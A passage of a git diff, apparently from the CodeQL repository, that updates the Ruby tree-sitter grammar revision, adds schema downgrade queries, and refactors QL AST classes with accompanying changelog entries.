+| 30 = @ruby_token_true
+| 31 = @ruby_token_uninterpreted
+;
+
+
+@ruby_ast_node = @ruby_alias | @ruby_alternative_pattern | @ruby_argument_list | @ruby_array | @ruby_array_pattern | @ruby_as_pattern | @ruby_assignment | @ruby_bare_string | @ruby_bare_symbol | @ruby_begin | @ruby_begin_block | @ruby_binary | @ruby_block | @ruby_block_argument | @ruby_block_parameter | @ruby_block_parameters | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_conditional | @ruby_delimited_symbol | @ruby_destructured_left_assignment | @ruby_destructured_parameter | @ruby_do | @ruby_do_block | @ruby_element_reference | @ruby_else | @ruby_elsif | @ruby_end_block | @ruby_ensure | @ruby_exception_variable | @ruby_exceptions | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_for | @ruby_hash | @ruby_hash_pattern | @ruby_hash_splat_argument | @ruby_hash_splat_parameter | @ruby_heredoc_body | @ruby_if | @ruby_if_guard | @ruby_if_modifier | @ruby_in | @ruby_in_clause | @ruby_interpolation | @ruby_keyword_parameter | @ruby_keyword_pattern | @ruby_lambda | @ruby_lambda_parameters | @ruby_left_assignment_list | @ruby_method | @ruby_method_parameters | @ruby_module | @ruby_next | @ruby_operator_assignment | @ruby_optional_parameter | @ruby_pair | @ruby_parenthesized_pattern | @ruby_parenthesized_statements | @ruby_pattern | @ruby_program | @ruby_range | @ruby_rational | @ruby_redo | @ruby_regex | @ruby_rescue | @ruby_rescue_modifier | @ruby_rest_assignment | @ruby_retry | @ruby_return | @ruby_right_assignment_list | @ruby_scope_resolution | @ruby_setter | @ruby_singleton_class | @ruby_singleton_method | @ruby_splat_argument | @ruby_splat_parameter | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_superclass | @ruby_symbol_array | @ruby_then | @ruby_token | @ruby_unary | @ruby_undef | @ruby_unless | @ruby_unless_guard | @ruby_unless_modifier | @ruby_until | @ruby_until_modifier | @ruby_variable_reference_pattern | @ruby_when | @ruby_while | @ruby_while_modifier | @ruby_yield
+
+@ruby_ast_node_parent = @file | @ruby_ast_node
+
+#keyset[parent, parent_index]
+ruby_ast_node_info(
+  unique int node: @ruby_ast_node ref,
+  int parent: @ruby_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
+erb_comment_directive_def(
+  unique int id: @erb_comment_directive,
+  int child: @erb_token_comment ref
+);
+
+erb_directive_def(
+  unique int id: @erb_directive,
+  int child: @erb_token_code ref
+);
+
+erb_graphql_directive_def(
+  unique int id: @erb_graphql_directive,
+  int child: @erb_token_code ref
+);
+
+erb_output_directive_def(
+  unique int id: @erb_output_directive,
+  int child: @erb_token_code ref
+);
+
+@erb_template_child_type = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_token_content
+
+#keyset[erb_template, index]
+erb_template_child(
+  int erb_template: @erb_template ref,
+  int index: int ref,
+  unique int child: @erb_template_child_type ref
+);
+
+erb_template_def(
+  unique int id: @erb_template
+);
+
+erb_tokeninfo(
+  unique int id: @erb_token,
+  int kind: int ref,
+  string value: string ref
+);
+
+case @erb_token.kind of
+  0 = @erb_reserved_word
+| 1 = @erb_token_code
+| 2 = @erb_token_comment
+| 3 = @erb_token_content
+;
+
+
+@erb_ast_node = @erb_comment_directive | @erb_directive | @erb_graphql_directive | @erb_output_directive | @erb_template | @erb_token
+
+@erb_ast_node_parent = @erb_ast_node | @file
+
+#keyset[parent, parent_index]
+erb_ast_node_info(
+  unique int node: @erb_ast_node ref,
+  int parent: @erb_ast_node_parent ref,
+  int parent_index: int ref,
+  int loc: @location ref
+);
+
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_block_parameters_child.ql b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_block_parameters_child.ql
new file mode 100644
index 00000000000..7569c08cbfb
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_block_parameters_child.ql
@@ -0,0 +1,14 @@
+class RubyBlockParameters extends @ruby_block_parameters {
+  string toString() { none() }
+}
+
+class RubyBlockParameter extends @ruby_block_parameters_child_type {
+  string toString() { none() }
+}
+
+from RubyBlockParameters ruby_block_parameters, int index, RubyBlockParameter param
+where
+  ruby_block_parameters_child(ruby_block_parameters, index, param) or
+  ruby_block_parameters_locals(ruby_block_parameters,
+    index - 1 - max(int i | ruby_block_parameters_child(ruby_block_parameters, i, _)), param)
+select ruby_block_parameters, index, param
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_call_def.ql b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_call_def.ql
new file mode 100644
index 00000000000..67a5994b6c8
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_call_def.ql
@@ -0,0 +1,14 @@
+class RubyAstNode extends @ruby_ast_node {
+  string toString() { none() }
+}
+
+class RubyCall extends RubyAstNode, @ruby_call { }
+
+from RubyCall ruby_call, RubyAstNode method
+where
+  ruby_call_method(ruby_call, method)
+  or
+  ruby_call_def(ruby_call) and
+  not ruby_call_method(ruby_call, _) and
+  ruby_call_arguments(ruby_call, method)
+select ruby_call, method
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_rational_def.ql b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_rational_def.ql
new file mode 100644
index 00000000000..724a2388824
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_rational_def.ql
@@ -0,0 +1,7 @@
+private class RubyAstNode extends @ruby_ast_node {
+  string toString() { none() }
+}
+
+from RubyAstNode node, RubyAstNode child
+where ruby_rational_def(node, child) and not ruby_complex_def(_, node)
+select node, child
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_tokeninfo.ql b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_tokeninfo.ql
new file mode 100644
index 00000000000..ce7c23c0e6c
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/ruby_tokeninfo.ql
@@ -0,0 +1,37 @@
+private class RubyAstNode extends @ruby_ast_node {
+  string toString() { none() }
+}
+
+bindingset[old]
+private int newKind(int old) {
+  old <= 3 and result = old
+  or
+  old >= 4 and result = old + 1
+}
+
+private predicate complex_token(RubyAstNode node, string value) {
+  exists(RubyAstNode token, string tokenValue | ruby_tokeninfo(token, _, tokenValue) |
+    (
+      ruby_complex_def(node, token) and value = tokenValue + "i"
+      or
+      exists(@ruby_rational rational |
+        ruby_complex_def(node, rational) and
+        ruby_rational_def(rational, token)
+      ) and
+      value = tokenValue + "ri"
+    )
+  )
+}
+
+private RubyAstNode parent(RubyAstNode node) { ruby_ast_node_info(node, result, _, _) }
+
+from RubyAstNode token, int kind, string value
+where
+  exists(int oldKind |
+    ruby_tokeninfo(token, oldKind, value) and
+    not complex_token(parent+(token), _) and
+    kind = newKind(oldKind)
+  )
+  or
+  complex_token(token, value) and kind = 4
+select token, kind, value
diff --git a/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/upgrade.properties b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/upgrade.properties
new file mode 100644
index 00000000000..f1b4e1fd9f7
--- /dev/null
+++ b/ruby/downgrades/1199e154f5e9b3560297633c6ebb4dfe0b191ae4/upgrade.properties
@@ -0,0 +1,12 @@
+description: tree-sitter-ruby update
+compatibility: backwards
+ruby_tokeninfo.rel:              run ruby_tokeninfo.qlo
+ruby_block_parameters_child.rel: run ruby_block_parameters_child.qlo
+ruby_call_def.rel:               run ruby_call_def.qlo
+ruby_rational_def.rel:           run ruby_rational_def.qlo
+
+
+ruby_call_method.rel: delete
+ruby_complex_def.rel: delete
+ruby_block_parameters_locals.rel: delete
+ruby_call_operator: delete
diff --git a/ruby/extractor/Cargo.toml b/ruby/extractor/Cargo.toml
index aa3d7de36cf..9375f47a42a 100644
--- a/ruby/extractor/Cargo.toml
+++ b/ruby/extractor/Cargo.toml
@@ -11,7 +11,7 @@ flate2 = "1.0"
 node-types = { path = "../node-types" }
 tree-sitter = "0.19"
 tree-sitter-embedded-template = "0.19"
-tree-sitter-ruby = { git = "https://github.com/tree-sitter/tree-sitter-ruby.git", rev = "1ebfdb288842dae5a9233e2509a135949023dd82" }
+tree-sitter-ruby = { git = "https://github.com/tree-sitter/tree-sitter-ruby.git", rev = "6334d6ab3d04a5672da695d3b155ca3301511f8d" }
 clap = "3.0"
 tracing = "0.1"
 tracing-subscriber = { version = "0.3.3", features = ["env-filter"] }
diff --git a/ruby/generator/Cargo.toml b/ruby/generator/Cargo.toml
index ff67ec7df64..63d980f709d 100644
--- a/ruby/generator/Cargo.toml
+++ b/ruby/generator/Cargo.toml
@@ -12,4 +12,4 @@ node-types = { path = "../node-types" }
 tracing = "0.1"
 tracing-subscriber = { version = "0.3.3", features = ["env-filter"] }
 tree-sitter-embedded-template = "0.19"
-tree-sitter-ruby = { git = "https://github.com/tree-sitter/tree-sitter-ruby.git", rev = "1ebfdb288842dae5a9233e2509a135949023dd82" }
+tree-sitter-ruby = { git = "https://github.com/tree-sitter/tree-sitter-ruby.git", rev = "6334d6ab3d04a5672da695d3b155ca3301511f8d" }
diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md
index c18bd1d66e2..c9f38d77c7d 100644
--- a/ruby/ql/lib/CHANGELOG.md
+++ b/ruby/ql/lib/CHANGELOG.md
@@ -1,3 +1,15 @@
+## 0.2.1
+
+### Bug Fixes
+
+* The Tree-sitter Ruby grammar has been updated; this fixes several issues where Ruby code was parsed incorrectly.
+
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
 ## 0.1.0
 
 ### Breaking Changes
@@ -11,8 +23,8 @@
 
 ### Minor Analysis Improvements
 
-*  Whereas `ConstantValue::getString()` previously returned both string and regular-expression values, it now returns only string values. The same applies to `ConstantValue::isString(value)`.
-*  Regular-expression values can now be accessed with the new predicates `ConstantValue::getRegExp()`, `ConstantValue::isRegExp(value)`, and `ConstantValue::isRegExpWithFlags(value, flags)`.
+* Whereas `ConstantValue::getString()` previously returned both string and regular-expression values, it now returns only string values. The same applies to `ConstantValue::isString(value)`.
+* Regular-expression values can now be accessed with the new predicates `ConstantValue::getRegExp()`, `ConstantValue::isRegExp(value)`, and `ConstantValue::isRegExpWithFlags(value, flags)`.
 * The `ParseRegExp` and `RegExpTreeView` modules are now "internal" modules. Users should use `codeql.ruby.Regexp` instead.
 
 ## 0.0.13
diff --git a/ruby/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md b/ruby/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
deleted file mode 100644
index 4164b4d4b81..00000000000
--- a/ruby/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: breaking
----
-The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
\ No newline at end of file
diff --git a/ruby/ql/lib/change-notes/2022-05-01-safe-navigation-operator.md b/ruby/ql/lib/change-notes/2022-05-01-safe-navigation-operator.md
new file mode 100644
index 00000000000..bed3c7869e8
--- /dev/null
+++ b/ruby/ql/lib/change-notes/2022-05-01-safe-navigation-operator.md
@@ -0,0 +1,4 @@
+---
+category: minorAnalysis
+---
+Support of the safe navigation operator (`&.`) has been added; there is a new predicate `MethodCall.isSafeNavigation()`.
diff --git a/ruby/ql/lib/change-notes/released/0.2.0.md b/ruby/ql/lib/change-notes/released/0.2.0.md
new file mode 100644
index 00000000000..7ccf56ddd47
--- /dev/null
+++ b/ruby/ql/lib/change-notes/released/0.2.0.md
@@ -0,0 +1,5 @@
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
diff --git a/ruby/ql/lib/change-notes/released/0.2.1.md b/ruby/ql/lib/change-notes/released/0.2.1.md
new file mode 100644
index 00000000000..177cf4094e8
--- /dev/null
+++ b/ruby/ql/lib/change-notes/released/0.2.1.md
@@ -0,0 +1,5 @@
+## 0.2.1
+
+### Bug Fixes
+
+* The Tree-sitter Ruby grammar has been updated; this fixes several issues where Ruby code was parsed incorrectly.
diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml
index 2e08f40f6aa..df29a726bcc 100644
--- a/ruby/ql/lib/codeql-pack.release.yml
+++ b/ruby/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.2.1
diff --git a/ruby/ql/lib/codeql/ruby/ast/Call.qll b/ruby/ql/lib/codeql/ruby/ast/Call.qll
index ef5ba8aa9cd..5339f080564 100644
--- a/ruby/ql/lib/codeql/ruby/ast/Call.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/Call.qll
@@ -105,6 +105,14 @@ class MethodCall extends Call instanceof MethodCallImpl {
    */
   final Block getBlock() { result = super.getBlockImpl() }
 
+  /**
+   * Holds if the safe nagivation operator (`&.`) is used in this call.
+   * ```rb
+   * foo&.empty?
+   * ```
+   */
+  final predicate isSafeNavigation() { super.isSafeNavigationImpl() }
+
   override string toString() { result = "call to " + this.getMethodName() }
 
   override AstNode getAChild(string pred) {
diff --git a/ruby/ql/lib/codeql/ruby/ast/Control.qll b/ruby/ql/lib/codeql/ruby/ast/Control.qll
index b4b8ce19c34..23d28980149 100644
--- a/ruby/ql/lib/codeql/ruby/ast/Control.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/Control.qll
@@ -111,10 +111,10 @@ class IfExpr extends ConditionalExpr, TIfExpr {
   }
 }
 
-private class If extends IfExpr, TIf {
+private class IfReal extends IfExpr, TIfReal {
   private Ruby::If g;
 
-  If() { this = TIf(g) }
+  IfReal() { this = TIfReal(g) }
 
   final override Expr getCondition() { toGenerated(result) = g.getCondition() }
 
@@ -125,6 +125,18 @@ private class If extends IfExpr, TIf {
   final override string toString() { result = "if ..." }
 }
 
+private class IfSynth extends IfExpr, TIfSynth {
+  IfSynth() { this = TIfSynth(_, _) }
+
+  final override Expr getCondition() { synthChild(this, 0, result) }
+
+  final override Stmt getThen() { synthChild(this, 1, result) }
+
+  final override Stmt getElse() { synthChild(this, 2, result) }
+
+  final override string toString() { result = "if ..." }
+}
+
 private class Elsif extends IfExpr, TElsif {
   private Ruby::Elsif g;
 
diff --git a/ruby/ql/lib/codeql/ruby/ast/Method.qll b/ruby/ql/lib/codeql/ruby/ast/Method.qll
index 824a0b6954a..510e48a4eaf 100644
--- a/ruby/ql/lib/codeql/ruby/ast/Method.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/Method.qll
@@ -252,10 +252,24 @@ class Lambda extends Callable, BodyStmt, TLambda {
 
 /** A block. */
 class Block extends Callable, StmtSequence, Scope, TBlock {
+  /**
+   * Gets a local variable declared by this block.
+   * For example `local` in `{ | param; local| puts param }`.
+   */
+  LocalVariableWriteAccess getALocalVariable() { result = this.getLocalVariable(_) }
+
+  /**
+   * Gets the `n`th local variable declared by this block.
+   * For example `local` in `{ | param; local| puts param }`.
+   */
+  LocalVariableWriteAccess getLocalVariable(int n) { none() }
+
   override AstNode getAChild(string pred) {
     result = Callable.super.getAChild(pred)
     or
     result = StmtSequence.super.getAChild(pred)
+    or
+    pred = "getLocalVariable" and result = this.getLocalVariable(_)
   }
 }
 
@@ -265,6 +279,10 @@ class DoBlock extends Block, BodyStmt, TDoBlock {
 
   DoBlock() { this = TDoBlock(g) }
 
+  final override LocalVariableWriteAccess getLocalVariable(int n) {
+    toGenerated(result) = g.getParameters().getLocals(n)
+  }
+
   final override Parameter getParameter(int n) {
     toGenerated(result) = g.getParameters().getChild(n)
   }
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll b/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll
index 5a59b56bcf5..7d35c51ffbb 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/AST.qll
@@ -138,7 +138,9 @@ private module Cached {
     TFalseLiteral(Ruby::False g) or
     TFile(Ruby::File g) or
     TFindPattern(Ruby::FindPattern g) or
-    TFloatLiteral(Ruby::Float g) { not any(Ruby::Rational r).getChild() = g } or
+    TFloatLiteral(Ruby::Float g) {
+      not any(Ruby::Complex r).getChild() = g and not any(Ruby::Rational r).getChild() = g
+    } or
     TForExpr(Ruby::For g) or
     TForwardParameter(Ruby::ForwardParameter g) or
     TForwardArgument(Ruby::ForwardArgument g) or
@@ -160,7 +162,8 @@ private module Cached {
     } or
     THereDoc(Ruby::HeredocBeginning g) or
     TIdentifierMethodCall(Ruby::Identifier g) { isIdentifierMethodCall(g) } or
-    TIf(Ruby::If g) or
+    TIfReal(Ruby::If g) or
+    TIfSynth(AST::AstNode parent, int i) { mkSynthChild(IfKind(), parent, i) } or
     TIfModifierExpr(Ruby::IfModifier g) or
     TInClause(Ruby::InClause g) or
     TInstanceVariableAccessReal(Ruby::InstanceVariable g, AST::InstanceVariable v) {
@@ -169,7 +172,9 @@ private module Cached {
     TInstanceVariableAccessSynth(AST::AstNode parent, int i, AST::InstanceVariable v) {
       mkSynthChild(InstanceVariableAccessKind(v), parent, i)
     } or
-    TIntegerLiteralReal(Ruby::Integer g) { not any(Ruby::Rational r).getChild() = g } or
+    TIntegerLiteralReal(Ruby::Integer g) {
+      not any(Ruby::Complex r).getChild() = g and not any(Ruby::Rational r).getChild() = g
+    } or
     TIntegerLiteralSynth(AST::AstNode parent, int i, int value) {
       mkSynthChild(IntegerLiteralKind(value), parent, i)
     } or
@@ -210,7 +215,8 @@ private module Cached {
     TMulExprSynth(AST::AstNode parent, int i) { mkSynthChild(MulExprKind(), parent, i) } or
     TNEExpr(Ruby::Binary g) { g instanceof @ruby_binary_bangequal } or
     TNextStmt(Ruby::Next g) or
-    TNilLiteral(Ruby::Nil g) or
+    TNilLiteralReal(Ruby::Nil g) or
+    TNilLiteralSynth(AST::AstNode parent, int i) { mkSynthChild(NilLiteralKind(), parent, i) } or
     TNoRegExpMatchExpr(Ruby::Binary g) { g instanceof @ruby_binary_bangtilde } or
     TNotExpr(Ruby::Unary g) { g instanceof @ruby_unary_bang or g instanceof @ruby_unary_not } or
     TOptionalParameter(Ruby::OptionalParameter g) or
@@ -223,7 +229,7 @@ private module Cached {
     TRangeLiteralSynth(AST::AstNode parent, int i, boolean inclusive) {
       mkSynthChild(RangeLiteralKind(inclusive), parent, i)
     } or
-    TRationalLiteral(Ruby::Rational g) or
+    TRationalLiteral(Ruby::Rational g) { not any(Ruby::Complex r).getChild() = g } or
     TRedoStmt(Ruby::Redo g) or
     TRegExpLiteral(Ruby::Regex g) or
     TRegExpMatchExpr(Ruby::Binary g) { g instanceof @ruby_binary_equaltilde } or
@@ -248,9 +254,6 @@ private module Cached {
         casePattern(g)
       )
     } or
-    TScopeResolutionMethodCall(Ruby::ScopeResolution g, Ruby::Identifier i) {
-      isScopeResolutionMethodCall(g, i)
-    } or
     TSelfReal(Ruby::Self g) or
     TSelfSynth(AST::AstNode parent, int i, AST::SelfVariable v) {
       mkSynthChild(SelfKind(v), parent, i)
@@ -346,35 +349,36 @@ private module Cached {
         TFalseLiteral or TFile or TFindPattern or TFloatLiteral or TForExpr or TForwardParameter or
         TForwardArgument or TGEExpr or TGTExpr or TGlobalVariableAccessReal or
         THashKeySymbolLiteral or THashLiteral or THashPattern or THashSplatExpr or
-        THashSplatNilParameter or THashSplatParameter or THereDoc or TIdentifierMethodCall or TIf or
-        TIfModifierExpr or TInClause or TInstanceVariableAccessReal or TIntegerLiteralReal or
-        TKeywordParameter or TLEExpr or TLShiftExprReal or TLTExpr or TLambda or
-        TLeftAssignmentList or TLine or TLocalVariableAccessReal or TLogicalAndExprReal or
-        TLogicalOrExprReal or TMethod or TModuleDeclaration or TModuloExprReal or TMulExprReal or
-        TNEExpr or TNextStmt or TNilLiteral or TNoRegExpMatchExpr or TNotExpr or
-        TOptionalParameter or TPair or TParenthesizedExpr or TParenthesizedPattern or
-        TRShiftExprReal or TRangeLiteralReal or TRationalLiteral or TRedoStmt or TRegExpLiteral or
-        TRegExpMatchExpr or TRegularArrayLiteral or TRegularMethodCall or TRegularStringLiteral or
-        TRegularSuperCall or TRescueClause or TRescueModifierExpr or TRetryStmt or TReturnStmt or
-        TScopeResolutionConstantAccess or TScopeResolutionMethodCall or TSelfReal or
-        TSimpleParameterReal or TSimpleSymbolLiteral or TSingletonClass or TSingletonMethod or
-        TSpaceshipExpr or TSplatExprReal or TSplatParameter or TStringArrayLiteral or
-        TStringConcatenation or TStringEscapeSequenceComponent or TStringInterpolationComponent or
-        TStringTextComponent or TSubExprReal or TSubshellLiteral or TSymbolArrayLiteral or
-        TTernaryIfExpr or TThen or TTokenConstantAccess or TTokenMethodName or TTokenSuperCall or
-        TToplevel or TTrueLiteral or TUnaryMinusExpr or TUnaryPlusExpr or TUndefStmt or
-        TUnlessExpr or TUnlessModifierExpr or TUntilExpr or TUntilModifierExpr or
-        TReferencePattern or TWhenClause or TWhileExpr or TWhileModifierExpr or TYieldCall;
+        THashSplatNilParameter or THashSplatParameter or THereDoc or TIdentifierMethodCall or
+        TIfReal or TIfModifierExpr or TInClause or TInstanceVariableAccessReal or
+        TIntegerLiteralReal or TKeywordParameter or TLEExpr or TLShiftExprReal or TLTExpr or
+        TLambda or TLeftAssignmentList or TLine or TLocalVariableAccessReal or
+        TLogicalAndExprReal or TLogicalOrExprReal or TMethod or TModuleDeclaration or
+        TModuloExprReal or TMulExprReal or TNEExpr or TNextStmt or TNilLiteralReal or
+        TNoRegExpMatchExpr or TNotExpr or TOptionalParameter or TPair or TParenthesizedExpr or
+        TParenthesizedPattern or TRShiftExprReal or TRangeLiteralReal or TRationalLiteral or
+        TRedoStmt or TRegExpLiteral or TRegExpMatchExpr or TRegularArrayLiteral or
+        TRegularMethodCall or TRegularStringLiteral or TRegularSuperCall or TRescueClause or
+        TRescueModifierExpr or TRetryStmt or TReturnStmt or TScopeResolutionConstantAccess or
+        TSelfReal or TSimpleParameterReal or TSimpleSymbolLiteral or TSingletonClass or
+        TSingletonMethod or TSpaceshipExpr or TSplatExprReal or TSplatParameter or
+        TStringArrayLiteral or TStringConcatenation or TStringEscapeSequenceComponent or
+        TStringInterpolationComponent or TStringTextComponent or TSubExprReal or TSubshellLiteral or
+        TSymbolArrayLiteral or TTernaryIfExpr or TThen or TTokenConstantAccess or
+        TTokenMethodName or TTokenSuperCall or TToplevel or TTrueLiteral or TUnaryMinusExpr or
+        TUnaryPlusExpr or TUndefStmt or TUnlessExpr or TUnlessModifierExpr or TUntilExpr or
+        TUntilModifierExpr or TReferencePattern or TWhenClause or TWhileExpr or
+        TWhileModifierExpr or TYieldCall;
 
   class TAstNodeSynth =
     TAddExprSynth or TAssignExprSynth or TBitwiseAndExprSynth or TBitwiseOrExprSynth or
         TBitwiseXorExprSynth or TBraceBlockSynth or TClassVariableAccessSynth or
         TConstantReadAccessSynth or TDivExprSynth or TExponentExprSynth or
-        TGlobalVariableAccessSynth or TInstanceVariableAccessSynth or TIntegerLiteralSynth or
-        TLShiftExprSynth or TLocalVariableAccessSynth or TLogicalAndExprSynth or
-        TLogicalOrExprSynth or TMethodCallSynth or TModuloExprSynth or TMulExprSynth or
-        TRShiftExprSynth or TRangeLiteralSynth or TSelfSynth or TSimpleParameterSynth or
-        TSplatExprSynth or TStmtSequenceSynth or TSubExprSynth;
+        TGlobalVariableAccessSynth or TIfSynth or TInstanceVariableAccessSynth or
+        TIntegerLiteralSynth or TLShiftExprSynth or TLocalVariableAccessSynth or
+        TLogicalAndExprSynth or TLogicalOrExprSynth or TMethodCallSynth or TModuloExprSynth or
+        TMulExprSynth or TNilLiteralSynth or TRShiftExprSynth or TRangeLiteralSynth or TSelfSynth or
+        TSimpleParameterSynth or TSplatExprSynth or TStmtSequenceSynth or TSubExprSynth;
 
   /**
    * Gets the underlying TreeSitter entity for a given AST node. This does not
@@ -456,7 +460,7 @@ private module Cached {
     n = THereDoc(result) or
     n = TIdentifierMethodCall(result) or
     n = TIfModifierExpr(result) or
-    n = TIf(result) or
+    n = TIfReal(result) or
     n = TInClause(result) or
     n = TInstanceVariableAccessReal(result, _) or
     n = TIntegerLiteralReal(result) or
@@ -476,7 +480,7 @@ private module Cached {
     n = TMulExprReal(result) or
     n = TNEExpr(result) or
     n = TNextStmt(result) or
-    n = TNilLiteral(result) or
+    n = TNilLiteralReal(result) or
     n = TNoRegExpMatchExpr(result) or
     n = TNotExpr(result) or
     n = TOptionalParameter(result) or
@@ -498,7 +502,6 @@ private module Cached {
     n = TReturnStmt(result) or
     n = TRShiftExprReal(result) or
     n = TScopeResolutionConstantAccess(result, _) or
-    n = TScopeResolutionMethodCall(result, _) or
     n = TSelfReal(result) or
     n = TSimpleParameterReal(result) or
     n = TSimpleSymbolLiteral(result) or
@@ -568,6 +571,8 @@ private module Cached {
     or
     result = TGlobalVariableAccessSynth(parent, i, _)
     or
+    result = TIfSynth(parent, i)
+    or
     result = TInstanceVariableAccessSynth(parent, i, _)
     or
     result = TIntegerLiteralSynth(parent, i, _)
@@ -586,6 +591,8 @@ private module Cached {
     or
     result = TMulExprSynth(parent, i)
     or
+    result = TNilLiteralSynth(parent, i)
+    or
     result = TRangeLiteralSynth(parent, i, _)
     or
     result = TRShiftExprSynth(parent, i)
@@ -659,8 +666,8 @@ class TCall = TMethodCall or TYieldCall;
 class TCase = TCaseExpr or TCaseMatch;
 
 class TMethodCall =
-  TMethodCallSynth or TIdentifierMethodCall or TScopeResolutionMethodCall or TRegularMethodCall or
-      TElementReference or TSuperCall or TUnaryOperation or TBinaryOperation;
+  TMethodCallSynth or TIdentifierMethodCall or TRegularMethodCall or TElementReference or
+      TSuperCall or TUnaryOperation or TBinaryOperation;
 
 class TSuperCall = TTokenSuperCall or TRegularSuperCall;
 
@@ -672,6 +679,8 @@ class TControlExpr = TConditionalExpr or TCaseExpr or TCaseMatch or TLoop;
 class TConditionalExpr =
   TIfExpr or TUnlessExpr or TIfModifierExpr or TUnlessModifierExpr or TTernaryIfExpr;
 
+class TIf = TIfReal or TIfSynth;
+
 class TIfExpr = TIf or TElsif;
 
 class TConditionalLoop = TWhileExpr or TUntilExpr or TWhileModifierExpr or TUntilModifierExpr;
@@ -695,6 +704,8 @@ class TStmtSequence =
 
 class TBodyStmt = TBeginExpr or TModuleBase or TMethod or TLambda or TDoBlock or TSingletonMethod;
 
+class TNilLiteral = TNilLiteralReal or TNilLiteralSynth;
+
 class TLiteral =
   TEncoding or TFile or TLine or TNumericLiteral or TNilLiteral or TBooleanLiteral or
       TStringlikeLiteral or TCharacterLiteral or TArrayLiteral or THashLiteral or TRangeLiteral or
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Call.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Call.qll
index 58e9f912091..9a1d41b097d 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/Call.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/Call.qll
@@ -7,11 +7,6 @@ predicate isIdentifierMethodCall(Ruby::Identifier g) { vcall(g) and not access(g
 
 predicate isRegularMethodCall(Ruby::Call g) { not g.getMethod() instanceof Ruby::Super }
 
-predicate isScopeResolutionMethodCall(Ruby::ScopeResolution g, Ruby::Identifier i) {
-  i = g.getName() and
-  not exists(Ruby::Call c | c.getMethod() = g)
-}
-
 abstract class CallImpl extends Expr, TCall {
   abstract AstNode getArgumentImpl(int n);
 
@@ -33,6 +28,8 @@ abstract class MethodCallImpl extends CallImpl, TMethodCall {
   abstract string getMethodNameImpl();
 
   abstract Block getBlockImpl();
+
+  predicate isSafeNavigationImpl() { none() }
 }
 
 class MethodCallSynth extends MethodCallImpl, TMethodCallSynth {
@@ -69,23 +66,6 @@ class IdentifierMethodCall extends MethodCallImpl, TIdentifierMethodCall {
   final override Block getBlockImpl() { none() }
 }
 
-class ScopeResolutionMethodCall extends MethodCallImpl, TScopeResolutionMethodCall {
-  private Ruby::ScopeResolution g;
-  private Ruby::Identifier i;
-
-  ScopeResolutionMethodCall() { this = TScopeResolutionMethodCall(g, i) }
-
-  final override string getMethodNameImpl() { result = i.getValue() }
-
-  final override Expr getReceiverImpl() { toGenerated(result) = g.getScope() }
-
-  final override Expr getArgumentImpl(int n) { none() }
-
-  final override int getNumberOfArgumentsImpl() { result = 0 }
-
-  final override Block getBlockImpl() { none() }
-}
-
 class RegularMethodCall extends MethodCallImpl, TRegularMethodCall {
   private Ruby::Call g;
 
@@ -94,35 +74,27 @@ class RegularMethodCall extends MethodCallImpl, TRegularMethodCall {
   final override Expr getReceiverImpl() {
     toGenerated(result) = g.getReceiver()
     or
-    not exists(g.getReceiver()) and
-    toGenerated(result) = g.getMethod().(Ruby::ScopeResolution).getScope()
-    or
     result = TSelfSynth(this, 0, _)
   }
